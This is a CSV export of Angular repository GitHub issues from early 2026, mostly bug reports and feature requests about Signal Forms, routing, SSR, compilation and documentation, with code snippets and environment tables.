angular/angular,3900524309,CSS Transition Flash on Initial Render with Host Class Binding,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

When using host class bindings in Angular components, CSS transitions are incorrectly triggered on the initial render in specific scenarios. This causes an unwanted visual ""flash"" effect as transition properties animate from their default values.

### Observed Behavior

| Scenario | Host Binding | Result |
|----------|-------------|--------|
| Inside `<router-outlet>`, unwrapped | `""[class]"": ""`app-card`""` | ❌ Transition flash |
| Inside `<router-outlet>`, unwrapped | `class: ""app-card""` + `""[class.--ghost]"": ""variant() === 'ghost'""` | ❌ Transition flash |
| Inside `<router-outlet>`, wrapped in `@if` or `@for` | Any binding | ✅ Works correctly |
| Outside `<router-outlet>` | Any binding | ✅ Works correctly |


### Please provide a link to a minimal reproduction of the bug

https://github.com/stephenlautier/ng-css-transition-flash-hostbinding

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.3
Node.js           : 24.11.1
Package Manager   : pnpm 9.15.4
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @ang... [TRUNCATED]",,2026-02-05T09:17:00Z,2026-02-05T15:07:41Z,2
angular/angular,3895857700,Signal Forms allow diferent numeric input methods,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Currently when your `formField` data is a number the input must be of type number.
Consider this form:
```
readonly data = signal({ age: 4})
readonly f = form(this.data)
```
And this form
```html
<input type=""number"" [formField]=""f.age"">
<input type=""number"" [formField]=""f.age"" pattern=""[0-9]*"">
<input type=""text"" [formField]=""f.age"" inputmode=""number"" pattern=""[0-9]*""  >
```

This gives several problems. 

1. For one patterns are not allowed. This is according the W3C spec, but some mobile systems (IOS) allow to show the numeric keyboard when you put the pattern=""[0-9]*"" on a number input.
2. For real good accessibility/mobile support `<input type=""text"" inputmode=""number"">` is preferred, but because the 
type is text, it is not allowed. The problems that are solved by this kind of input are explained very well on this site: https://technology.blog.gov.uk/2020/02/24/why-the-gov-uk-design-system-team-changed-the-input-type-for-numbers/ 




### Proposed solution

Allow <input type=""text inputmode=""number""> for form fields of the numerical type and support the pattern=""[0-9]*""


### Alternatives considered

Creating a custom control, and I think this is currently the only workable solution.","area: forms,forms: signals",2026-02-04T10:40:28Z,2026-03-19T22:26:37Z,5
angular/angular,3895603750,Module federation not working on angular 20,"### Which @angular/* package(s) are the source of the bug?

upgrade

### Is this a regression?

No

### Description

When adding Module Federation to a new Angular 20 project using
ng add @angular-architects/module-federation and building the app with npx ng build, the build completes successfully.

However, when serving the built application via index.html, the app fails at runtime with an RxJS error related to extending a null class.

This issue occurs on a freshly created Angular 20 project with no additional changes beyond adding Module Federation.

<img width=""1889"" height=""739"" alt=""Image"" src=""https://github.com/user-attachments/assets/583f9fc2-638e-4c15-b3d3-d7d8b286ea25"" />

### Please provide a link to a minimal reproduction of the bug

you can just add module federation and build the application

### Please provide the exception or error you saw

```true
TypeError: Class extends value undefined is not a constructor or null
    at 1687 (OperatorSubscriber.js:5:41)
    at __webpack_require__ (bootstrap:19:1)
    at 3481 (EmptyError.js:6:1)
    at __webpack_require__ (bootstrap:19:1)
    at 4982 (timer.js:33:1)
    at __webpack_require__ (bootstrap:19:1)
    at 1340 (catchError.js:26:1)
    at __webpack_require__ (bootstrap:19:1)
    at sharing:48:1
    at __webpack_require__.m.<computed> (main.378a84abe5572df5.js:1:10312)
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI: 20.3.15
Node: 24.13.0
Package Manager: ... [TRUNCATED]",,2026-02-04T09:40:11Z,2026-02-04T09:51:41Z,4
angular/angular,3893745213,Signal Form: Documentation states that an empty array is considered as empty value by the built in required validator,"### Describe the problem that you experienced

In the in-depth guide about signal forms, in the validation section, the documentation for the required() validator states that _A field is considered ""empty"" when the value is an empty array_. But this does not seem to be the case when I have a signal form with a tag box widget having an array of string values as form model. An empty array does not fail the validation and passes instead.

Some issues [inconsistency between ""classic"" and signal forms validators regarding empty arrays](https://github.com/angular/angular/issues/65424) seem to suggest, that this is the expected behavior, which is not what the docs suggest.




### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/validation#required)

### Describe what you were looking for in the documentation

I was searching how to use the required validator in a signal form with a tag box that has an array of string values as model.

### Describe the actions that led you to experience the problem

I was testing a signal form with a tag box widget having an array of string values as form model. An empty array does not fail the validation and passes instead.

### Describe what you want to experience that would fix the problem

Either the documentation should be changed to not include the empty array as empty value for the required validator. Then it would be useful to document how to deal with required field that has an array as form model.

Or th... [TRUNCATED]",area: docs,2026-02-03T23:34:41Z,2026-02-10T12:05:04Z,2
angular/angular,3893115649,Enhance `ViewContainerRef.createComponent` to cater for SVG elements and beyond,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I already know there are threads already open on this issue, and I wanted to touch base on it as it has been placed on the back burner.

`ViewContainerRef.createComponent` creates a component with `svg` in its selector correctly. For example, a component with selector `svg.some-class` is created in the correct namespace (see `namespaceURI`):

<img width=""471"" height=""476"" alt=""Image"" src=""https://github.com/user-attachments/assets/4b0f6872-139d-4ad1-bbb6-54c6d1699cd2"" />

However, any child `path`, `g`, etc are not created in the correct namespace when done using `ViewContainerRef.createComponent` (see `namespaceURI`):

<img width=""471"" height=""476"" alt=""Image"" src=""https://github.com/user-attachments/assets/985779f6-2d6a-43f1-be4d-1ccd7eaa7b1e"" />

### Proposed solution

As I see it, the neatest solution would be either to:

1) allow `ViewContainerRef.createComponent` to accept a `hostElement` parameter, just as `createComponent` does, or
2) make `ViewContainerRef.createComponent` accept a `nameSpace` parameter, or
3) allow a `nameSpace` field in the `@Component` decorator.

I would by far prefer 1, as this would allow dynamic selection of the component's host node. This would extend beyond this case - for example, a button component can be attached to either an `a` or `button` element dynamically.

### Alternatives considered

None.",,2026-02-03T20:39:45Z,2026-02-03T20:48:42Z,2
angular/angular,3891959208,Signal Forms max is not supported on date inputs,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

max always expects a number, but for date fields this is a string format.

See also https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/date




### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/~/github.com/air2/angular-signal-forms-date-test

### Please provide the exception or error you saw

```true
Argument of type 'string' is not assignable to parameter of type 'number | LogicFn<string | number | null, number | undefined, Child>'.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
_                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/
    

Angular CLI       : 21.1.1
Angular           : 21.1.1
Node.js           : 20.19.1
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.1.1            │ ^21.1.0-next      │
│ @angular/build            │ 21.1.1... [TRUNCATED]",,2026-02-03T15:57:08Z,2026-02-03T16:13:59Z,3
angular/angular,3891875424,Signal Form Docs about custom validation function: Please avoid `any` in examples (if possible),"### Describe the problem that you experienced

The documentation about reusable validation rule functions for signal forms all use `field: any` as first argument.

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/validation#reusable-validation-rules

### Describe what you were looking for in the documentation

I want to write a custom validator function for signal forms and I'd prefer type-safe code and I bet there is typing available.

`validate()` is declared as:
```typescript
declare function validate<TValue, TPathKind extends PathKind = PathKind.Root>(path: SchemaPath<TValue, SchemaPathRules.Supported, TPathKind>, logic: NoInfer<FieldValidator<TValue, TPathKind>>): void;
```

### Describe the actions that led you to experience the problem

I checked the documentation 😏

### Describe what you want to experience that would fix the problem

Maybe something like this works? Didn't check yet if those types are part of the official API.

```typescript
function url<TValue, TPathKind extends PathKind = PathKind.Root>(path: SchemaPath<TValue, SchemaPathRules.Supported, TPathKind>, options?: {message?: string}) {
  validate(field, ({value}) => {
    try {
      new URL(value());
      return null;
    } catch {
      return {
        kind: 'url',
        message: options?.message || 'Enter a valid URL',
      };
    }
  });
}
```

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception... [TRUNCATED]","open for contributions,area: docs",2026-02-03T15:37:56Z,2026-02-06T00:49:11Z,1
angular/angular,3891211491,Unrelated components compilation in the test environment due to imports (`NG8001`),"### Which @angular/* package(s) are the source of the bug?

compiler-cli, Don't known / other

### Is this a regression?

Yes

### Description

```ts
// alarm.component.ts
export const ALARM_TYPES = ['success', 'error']

@Component({
    selector: 'alarm',
    template: `
        <span>Alarm!</span>
        <test-button>Close</test-button>
    `,
    standalone: false,
})
export class AlarmComponent {}

// alarm.module.ts
@NgModule({
    imports: [ButtonComponent], // <- standalone component
    declarations: [AlarmComponent],
    exports: [AlarmComponent]
})
export class AlarmModule {}

// alarm.types.ts
import type {ALARM_TYPES} from './alarm.component'

export type AlarmType = (typeof ALARM_TYPES)[number]

// app.spec.ts
import type { AlarmType } from ""../alarm/alarm.types""; // <- comment out to pass the case
// import {AlarmModule} from '../alarm/alarm.module'; // or u can add a direct import of the module
```
When building a test environment, if non-standalone components without modules are included in the compilation, this results in a missing element error. In the example shown, this occurs when importing a type from a component file.
In real projects, including components in the import chain is quite common, as constants and types can be stored along with components.
This example works in the regular build (when all `*.ts`-files are included), in the JIT compilation and in v20.

### Please provide a link to a minimal reproduction of the bug

https://github.com/BEGEMOT... [TRUNCATED]","area: testing,area: compiler",2026-02-03T13:11:50Z,2026-02-23T16:02:55Z,9
angular/angular,3891150401,Signal forms: TypeError: this.formField() is not a function when form() is bound to a model() with missing properties,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When using the new experimental Signal Forms (@angular/forms/signals), a TypeError: this.formField() is not a function occurs if a form() is initialized with a model() input where the initial value provided by the parent is an object missing a key referenced in the template.

It appears the form() utility (or the underlying proxy) fails to handle properties that are not present in the source object at initialization, even if they are defined in the interface as optional. If the parent component provides a default value for that key, the error disappears.


### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-iuiaq9w5?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
ERROR TypeError: this.formField() is not a function
    Angular 7
        FormField
        producerRecomputeValue
        producerUpdateValueVersion
        computed2
        updateControlClasses
        updateControl
        control
    TestForm_Template app.ts:13
    Angular 33
    <anonymous> main.ts:5
_untracked-chunk.mjs:2593:19
    Angular 20
    TestForm_Template app.ts:13
    Angular 21
    <anonymous> main.ts:5
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.2
Node.js           : 24.13.0
Package Manager   : ... [TRUNCATED]",,2026-02-03T12:57:31Z,2026-02-03T13:47:30Z,3
angular/angular,3891002575,Support for required in validateStandardSchema,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

Currently the required state is not set when I use validateStandardSchema on a zod object. Probarbly because required is a separated property in JSON schema's where it is on the parent object and contains the the list of required propeties for said object.

So
```
readonly schema = z.object({
  name: z.string().min(3)
})
readonly model = signal({
name:''
})

readonly f = from(this.model, (schemaPath=> {
   validateStandardSchema(schemaPath, this.schema)
})
```

now:
```
this.f.name().required() // <-- will be false
```

However
```
this.schema.toJSONSchema().required.include('name')  // <-- will be true
```



### Proposed solution

Set the required state on the attributes.

### Alternatives considered

```
   for (const fieldName of keys) {
          required(ctx[fieldName], { when: () => !!jsonsSchema.required?.includes(fieldName),
          })
        }
````
","area: forms,forms: signals",2026-02-03T12:21:04Z,2026-02-06T00:42:52Z,2
angular/angular,3889575871,Footer overlaps main content and sidebar navigation,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

The site footer is currently rendering on top of the page content rather than following the natural document flow. This layout bug obscures the final paragraphs of the documentation and blocks access to the bottom links in the left-hand navigation sidebar, sign

<img width=""1920"" height=""1080"" alt=""Image"" src=""https://github.com/user-attachments/assets/7c6e624d-236a-4786-96da-c3c487e266f0"" />

ificantly impacting readability and navigation.

### Please provide a link to a minimal reproduction of the bug

https://angular.dev/style-guide

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","state: has PR,area: docs-infra",2026-02-03T07:02:55Z,2026-02-03T20:25:44Z,1
angular/angular,3888892035,Developer Tools Integration: JSON Formatter for Angular Developers,"Hi Angular team,

I developed a free online developer tools platform called [AngriL DevTools](https://www.angril.com:8000) that provides essential tools for Angular developers:

- **JSON Formatter/Minifier**: Perfect for formatting API responses and configuration files in Angular applications
- **Base64 Encoder/Decoder**: Useful for handling image data and encoded strings in Angular components
- **Timestamp Converter**: Helpful for working with date/time data in Angular apps
- **YAML ↔ JSON Converter**: Great for converting between configuration formats (angular.json ↔ angular.yaml)
- **API Testing Tool**: Built-in tool for testing REST APIs consumed by Angular applications

Since many Angular developers work with JSON data, APIs, and configuration files daily, these tools could be valuable additions to the developer ecosystem.

The platform is completely free, open to all developers, and designed with modern web development workflows in mind.

I'd love to get feedback from the Angular community on what additional tools would be most useful, or explore any potential collaboration opportunities.

Thanks for your amazing work on Angular!

Best regards,
AngriL DevTools Team",,2026-02-03T03:40:42Z,2026-02-03T04:05:10Z,1
angular/angular,3885791829,Support for signals with validateStandardSchema,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

I currently have a zod schema in a computed signal. So in my case the schema changes  on an input.required signal.
Therefor, the real correct schema is only know after OnInit. The validateStandardSchema is not recalculated when the signal changes. I cannot find any way todo so.

### Proposed solution

The validateStandardSchema should support signals as model. Like:

```
readonly model = computed(() => <returns zod-object>)

readonly form = form(this.model, (schemaPath) => {
   validateStandardSchema(schemaPath, () => this.model())
// or
   validateStandardSchema(schemaPath, () => this.model)
})
````

### Alternatives considered

Running the validateStandardSchema in an effect, or try to run any function on the form in the oninit, to recalculate the validation rules.","area: forms,forms: signals",2026-02-02T12:57:13Z,2026-02-06T15:40:49Z,2
angular/angular,3885646064,Inject migration cannot find tsconfig file,"### Command

generate

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

Error cannot find tsconfig file when running inject migration.

### Minimal Reproduction

I want to migrate my app injections using command `ng generate @angular/core:inject` with all defaults options and I got error that it cannot find the tsconfig but my tsconfig file is at the root folder. How do this command determine the path of the tsconfig?

### Exception or Error

```text
Could not find any tsconfig file. Cannot run the inject migration.
```

### Your Environment

```text
Angular CLI       : 21.0.4
Angular           : 21.0.6
Node.js           : 24.11.0
Package Manager   : npm 11.4.2
Operating System  : win32 x64

┌───────────────────────────────┬───────────────────┬───────────────────┐
│ Package                       │ Installed Version │ Requested Version │
├───────────────────────────────┼───────────────────┼───────────────────┤
│ @angular-devkit/build-angular │ 21.0.4            │ 21.0.4            │
│ @angular/animations           │ 21.0.6            │ 21.0.6            │
│ @angular/build                │ 21.0.4            │ 21.0.4            │
│ @angular/cdk                  │ 21.0.5            │ 21.0.5            │
│ @angular/cli                  │ 21.0.4            │ 21.0.4            │
│ @angular/common               │ 21.0.6            │ 21.0.6          ... [TRUNCATED]","open for contributions,area: migrations,needs: clarification",2026-02-02T12:13:29Z,2026-06-12T16:24:46Z,9
angular/angular,3883829712,Content security policy documentation confusion,"### Describe the problem that you experienced

In the [content security policy section](https://angular.dev/best-practices/security#content-security-policy)  of the Angular documentation, you say the following:

<img width=""847"" height=""572"" alt=""Image"" src=""https://github.com/user-attachments/assets/6b2962bc-d2a5-4137-b81a-c4d7fdb98966"" />

You say ""one of two ways"" but then go on to list three ways. Is this a typo, or have I misunderstood the documentation? 

### Enter the URL of the topic with the problem

https://angular.dev/best-practices/security#content-security-policy

### Describe what you were looking for in the documentation
How to implement CSP

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",area: docs,2026-02-02T03:59:41Z,2026-02-03T20:27:14Z,1
angular/angular,3881863382,error message not show when use applyEach for form array,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

```
export interface MenuData {
	menuName: string;
	packages: {
		packageName: string;
		quota: number;
		prices: {
			priceValue: number;
		}[];
	}[];
}

formModel = signal<MenuData>({
		menuName: '',
		packages: [],
	});

	formData = form(this.formModel, (schemaPath) => {
		required(schemaPath.menuName, { message: 'Menu name is required' });
		applyEach(
			schemaPath.packages,
			(
				item: SchemaPathTree<{
					packageName: string;
					quota: number;
					prices: {
						priceValue: number;
					}[];
				}>,
			) => {
				required(item.packageName, { message: 'Package Name is required' });
				required(item.quota, { message: 'Quota is required' });
				applyEach(
					item.prices,
					(
						item: SchemaPathTree<{
							priceValue: number;
						}>,
					) => {
						required(item.priceValue, { message: 'Price value is required' });
					},
				);
			},
		);
	});

@if (field.control().touched() && field.control().invalid()) {
	@for (error of field.control().errors(); track error.kind) {
		<mat-error>{{ error.message }}</mat-error>
	}
}
```

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
I have a problem with form validation if using applyEach for the form array.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular ... [TRUNCATED]","needs reproduction,area: forms,forms: signals",2026-02-01T11:34:39Z,2026-02-01T14:54:05Z,3
angular/angular,3878362660,"No way to pass the ""--update"" flag to the vitest runner?","### Which @angular/* package(s) are the source of the bug?

compiler-cli

### Is this a regression?

No

### Description

I have updated my repo to use the vitest runner, in doing so I also introduced visual regression tests (https://vitest.dev/guide/browser/visual-regression-testing.html#visual-regression-testing).

When the screenshot goldens change vitest lets you update the goldens by using the `--update` flag: https://vitest.dev/guide/browser/visual-regression-testing.html#updating-references

But there doesn't seem to be a way to do this with the Angular CLI, am I missing something or is there no way yet pass this flag?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.1.2            │ ^21.1.2           │
│ @angular/build                    │ 21.1.2            │ ^21.1.2           │
│ @angular/cdk                      │ 21.1.2            │ ^21.1.2           │
│ @angular/cli                      │ 21.1.2            │ ^21.1.2           │
│ @angular/common                   │ 21.1.2            │ ^21.1.2           │
│ @angu... [TRUNCATED]",,2026-01-31T04:42:07Z,2026-01-31T11:57:47Z,2
angular/angular,3877180923,Export DirectiveWithBindings from @angular/core,"### Which @angular/* package(s) are relevant/related to the feature request?

@angular/core

### Description

Currently, I have to infer the type by using NonNullable<Parameters<ViewContainerRef[""createComponent""]>[5]>.

It would be much cleaner if DirectiveWithBindings is exported so that it can be used when building an array for directives with bindings with viewContainerRef.createComponent.

### Proposed solution

Export DirectiveWithBindings from @angular/core.

### Alternatives considered

I am currently using the type NonNullable<Parameters<ViewContainerRef[""createComponent""]>[5]>.","area: core,state: has PR",2026-01-30T20:04:11Z,2026-02-02T19:08:44Z,4
angular/angular,3875931164,Signal Forms errors input wrong typing,"### Describe the problem that you experienced

In the Custom Forms documentation, the `errors` input type does not match the [API](https://angular.dev/api/forms/signals/FormValueControl):

```ts
errors = input<readonly ValidationError.WithField[]>([]);
```

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/signals/custom-controls#adding-state-signals

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

Change the code snippet into:

```ts
errors = input<readonly WithOptionalField<ValidationError>[]>([]);
```

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true
Easy opportunity to get started with contributions if you want to make a PR :)
```","area: forms,forms: signals",2026-01-30T14:20:34Z,2026-02-17T22:36:02Z,2
angular/angular,3875639407,Angular Versioning / Proposal to Extend Angular Major Release Frequency,"### Which @angular/* package(s) are relevant/related to the feature request?

upgrade

### Description

**Dear Angular Developers,**

We believe that Angular’s major release frequency should be extended from six months to twelve months.

This suggestion is not driven by reluctance to update applications regularly. Rather, based on our experience, the current six-month major release cycle can be challenging for many teams—especially small teams or those primarily focused on delivering new features—to keep up with consistently.

Our goal is to continue running our applications on the latest Angular APIs and to avoid falling behind on updates. However, the rapid pace of major releases makes this difficult in practice. We believe many developers share this concern.

Extending the major release cycle while placing greater emphasis on bug fixes and patches would be a wise and balanced approach. Notably, many organizations are still maintaining applications built on legacy versions of Angular, which highlights the challenges of frequent major upgrades.

We therefore propose shifting to a 12-month major release cycle, similar to the approach taken by other major frameworks, while increasing focus on stability, bug fixes, and patches between releases.

Thank you very much for considering this perspective.
- Mohssine Khaloufi


### Proposed solution

Extend Angular’s major release frequency from 6 months to 12 months, while maintaining the current cadence for minor releases, bug fixes,... [TRUNCATED]",,2026-01-30T13:10:31Z,2026-02-01T18:29:22Z,7
angular/angular,3872014810,Tutorial error,"### Describe the problem that you experienced

The simpel tutorial ended with error when i navigated to second page

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","needs: clarification,area: docs-infra",2026-01-29T18:26:14Z,2026-02-03T16:58:53Z,3
angular/angular,3871804707,httpResource.arrayBuffer causes [Object object] error with SSR,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description

When using httpResource.arrayBuffer and have SSR enabled the arraybuffer is not copied correctly and the client is hydrated initially with an arraybuffer with length of 15 - `[Object object]` is what is returned when doing TextDecoder().Decode

<img width=""2000"" height=""691"" alt=""Image"" src=""https://github.com/user-attachments/assets/0ffb4bfc-cbe0-439e-b00b-c21e0c59764c"" />

the httpResource parse method is initially invoked with this 15 byte arraybuffer which can cause errors with custom parsers

This problem can be 'solved'  be setting `transferCache` to false but you are now making 2 requests, 1 server - 1 client. it's also less ideal as data may have changed between those 2 requests occurring.

### Please provide a link to a minimal reproduction of the bug

https://github.com/henrikse55/angular-httpresource-ssr

### Please provide the exception or error you saw

```true
None, it's completely silent and possibly breaks custom parse logic
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.2
Node.js           : 20.19.5
Package Manager   : yarn 1.22.22
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────... [TRUNCATED]","area: server,area: common/http",2026-01-29T17:28:07Z,2026-02-09T20:32:15Z,2
angular/angular,3870985797,@let loses context when parent directives renders child view,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When we have a template like this: 

```angular-html
    @let someVar = name;
    <div theRenderer>
      Rendering: 
      <ng-template renderLate>
        @if (someVar) {
          <h1>Hello from {{ someVar }}!</h1>
        }
      </ng-template>
    </div>
```

When we try to synchronously render the ng-template from theRenderer we get error: ""'Error: NG0314: Attempting to access a @let declaration whose value is not available yet"". 

Moving the rendering inside an effect works fine though. 

Added a repro link below. 

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-em375mwz?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 20.3.7
```

### Anything else?

_No response_",area: core,2026-01-29T14:27:20Z,2026-01-29T15:41:31Z,4
angular/angular,3870908285,Aside menu on right is very small,"### Describe the problem that you experienced

I was wondering if it would be possible to extend or widen the right-hand menu (aside). It feels quite narrow, and the truncated text makes navigation a bit annoying. It looks like there’s enough space to allow for a wider layout.

<img width=""2538"" height=""1229"" alt=""Image"" src=""https://github.com/user-attachments/assets/11001bf1-c30e-4d04-9cfd-cf06b4c0971f"" />

### Enter the URL of the topic with the problem

https://angular.dev/style-guide

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","open for contributions,area: docs-infra",2026-01-29T14:10:37Z,2026-01-29T20:24:02Z,5
angular/angular,3870820876,"forms/signals: why a ""form"" is ""invalid()"" but with no ""errors()""","### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

See this example

```ts
import { Component, signal } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';
import { form, FormField, email } from '@angular/forms/signals';

@Component({
  selector: 'app-root',
  imports: [FormField],
  template: `
    <input [formField]=""userForm.email"" />
    <p>invalid: {{ userForm().invalid() }}</p>
    @for(error of userForm().errors(); track $index ){
      <ul>
        <li>{{ error.message }}</li>
      </ul>
    } @empty {
      <p>NO ERROR</p>
    }
  `,
})
export class App {
  protected readonly user = signal({ email: 'foo' });
  protected readonly userForm = form(this.user, (schemaPath) => {
    email(schemaPath.email, {
      message: 'Invalid email',
    });
  });
}

bootstrapApplication(App);
```

The output: 

```
foo
invalid: true
NO ERROR
```

the expected output is
```
foo
invalid: true
Invalid email
```

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-veekyw2p

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 21.1.2
```",,2026-01-29T13:54:26Z,2026-01-29T14:03:52Z,3
angular/angular,3869294102,syntax highlighting issue with some tailwind class bindings,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

add following snippet in angular template:

```html
@let mode = 'pre';
<div
  class=""relative z-2 flex min-h-screen flex-col items-center gap-4""
  [class.min-h-[calc(100vh-var(--header-height))]]=""mode !== 'pre'""
></div>
```
in this snippet it won't highlight expression (_mode !== 'pre'_) correctly 

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

It should highlight correctly with any class name. I think brackets inside class name are breaking the highlight logic.

### Please provide a screenshot if possible [Bug Report only]

_No response_
",area: language-service,2026-01-29T07:42:00Z,2026-02-04T23:45:06Z,1
angular/angular,3867285742,Support `browserUrl` from `NavigationBehaviorOptions` in `RouterLink`,"### Which @angular/* package(s) are relevant/related to the feature request?

router

### Description

[`NavigationBehaviorOptions`](https://angular.dev/api/router/NavigationBehaviorOptions) had `browserUrl` added [here](https://github.com/angular/angular/commit/1d3a7529b4fa3617a5d6a97e742cb13818253a14) in #53318 which is a useful feature for controlling the URL experience a user has.  It would be nice if this same option was forwarded to the [`RouterLink` directive](https://angular.dev/api/router/RouterLink) which already supports a subset of the `NavigationBehaviorOptions`.

### Proposed solution

Provide a new input for `browserUrl` that is provided to [the extras](https://github.com/angular/angular/blob/main/packages/router/src/directives/router_link.ts#L493) used when calling `router.navigateByUrl` via the `RouterLink` directive.

### Alternatives considered

- A custom `(click)` handler calling `router.navigateByUrl`
  - This negates the utility provided by the `RouterLink` in the first place.
- Duplicate routes matching the desired browser URLs and use `skipLocationChange` or `replaceUrl`
  - Duplicating route definitions feels like a hack rather than a solution to this problem.","open for contributions,area: router",2026-01-28T20:32:26Z,2026-02-26T15:14:37Z,8
angular/angular,3866268203,AsyncValidatorFn documentation show incorrect return type,"### Describe the problem that you experienced




On the Angular.dev documentation page for [`AsyncValidatorFn`](https://angular.dev/api/forms/AsyncValidatorFn), the interface is currently displayed as:

```ts
interface AsyncValidatorFn 
{
  (control: AbstractControl<any, any, any>): any;
}
```


This is misleading as the official Angular source code defines  [`AsyncValidatorFn`](https://github.com/angular/angular/blob/main/packages/forms/src/directives/validators.ts#L529-L533) as:
```ts
export interface AsyncValidatorFn {
  (
    control: AbstractControl,
  ): Promise<ValidationErrors | null> | Observable<ValidationErrors | null>;
}
```



### Enter the URL of the topic with the problem

https://angular.dev/api/forms/AsyncValidatorFn

### Describe what you were looking for in the documentation

I was reviewing the AsyncValidatorFn docs to understand how to implement custom async validators. 
While learning, I noticed the return type was shown as `any`, which confused me, when I compared it to the GitHub source and VS Code IntelliSense.


### Describe the actions that led you to experience the problem

No specific actions . this is a documentation only error. I was reviewing the AsyncValidatorFn docs for learning purpose and noticed the return type mismatch.

### Describe what you want to experience that would fix the problem

Update the documentation to reflect the correct return type  to
```ts 
(Promise<ValidationErrors | null> | Observable<ValidationErrors | null>)
```
ins... [TRUNCATED]",area: docs-infra,2026-01-28T16:26:37Z,2026-02-03T20:31:38Z,1
angular/angular,3866182274,Service worker - customize ngsw/state url,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Hi!
I would like to have the ability to customize the URL for ngsw/state, so that I can hide the logs from the user.


### Proposed solution

-

### Alternatives considered

-",,2026-01-28T16:06:52Z,2026-01-28T16:11:32Z,2
angular/angular,3865974848,Docs: Deprecated `ComponentFactoryResolver` and Angular Elements,"### Describe the problem that you experienced

I see the doc for `ComponentFactoryResolver` mentioned that it is **deprecated** https://angular.dev/api/core/ComponentFactoryResolver

